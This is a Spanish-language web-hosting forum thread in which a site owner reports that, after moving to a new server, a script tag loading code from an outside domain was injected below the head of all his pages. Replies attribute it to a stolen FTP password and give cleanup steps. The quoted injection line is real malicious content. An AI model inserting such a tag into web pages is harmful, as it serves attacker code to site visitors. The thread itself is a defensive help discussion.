Problema con software malintencionado

[Jamati]

Hola...

Hace poco contraté un servidor dedicado... y al estar todo OK y actualizarse los DNS, encuentro que en mis páginas al cargarlas había un script raro, entro a ver el código fuente y justo debajo de la etiqueta </head> de cada página aparece:

<script src=http://top-events.ro/using34/pci.php ></script>

Entonces me descargo las páginas del servidor para borrarles ese script, pero al editarlas no tienen ese código agregado.... pero cuando se visualizan por la web sí y me está causando que no aparezcan las imágenes, que se vea mal, que salten errores... que puede ser ??

Estoy un poco desesperado...

[darkymen]

Hola Jamati,

Esto es super extraño, estas seguro que cuando bajas los archivos no esta el codigo? el problema aca es que tienes un malware en tu PC, limpia tu PC primero para estar seguros de esto.

Saludos.

[mihosting]

Si que es raro , si..., como dice darkymen, podria ser tu pc. para asegurarte de que no es asi, ves a otro y haz la prueba, si en otro las paginas estan normal, no hay duda es tu pc.

Si en otro pc pasa lo mismo, me extraña mucho que al bajarlas por ftp no tengan el codigo que mencionas.

Saludos
Miguel

[hyperwin]

Verifica que no tengas un spyware en tu PC, cambia el password de tus cuentas ftp y revisa los permisos de los archivos de tu servidor.

[Jamati]

Hola,

Gracias a todos, perdón pero me expliqué mal... el problema era que yo lo subí via FTP sin ningún código maligno, y a las pocas horas de estar en el nuevo servidor, ese código que mencioné en el primer posteo apareció en el código fuente de todas las páginas...

Al bajar dicho archivo del servidor a mi PC para analizarlo, obviamente lo seguía teniendo incrustado... un trabajo de chino fue eliminarlo nuevamente de todas las páginas.

[hyperwin]

Parece entonces que vulneraron tu password ftp, es muy habitual el robo de estos password por spyware, como te dije anteriormente, verifica que no tengas un spyware en tu PC, cambia el password de tus cuentas ftp.

[peruserver]

Por pasos.

1. El virus/troyano lo tienes en tu PC, el hecho de que tengas un antivirus no quiere decir que NO tengas virus/troyanos, es muy importante que uses un buen antivirus, y este debe ser original, usa además un antitroyano de confianza.

2. Cuando estés seguro que no hay ningún tipo de riesgo en tu pc, cambia la contraseña del panel de control de tu sitio, asi como los accesos FTP.

3. Si tienes antivirus en el servidor web usalo también, verifica los permisos, asi como archivos desconocidos.

4. Si tienes una copia de respaldo del sitio que esté libre de estos codigos vuelvela a subir, si es un script procura usar las ultimas versiones.

5. Una vez hecho esto en Herramientas para webmaster de google tienes que validad tu sitio y confirmar que ya liberaste del problema a tu sitio, y en unos dias debe desaparecer ese mensaje (si es el caso que google coloque un mensaje en su buscador).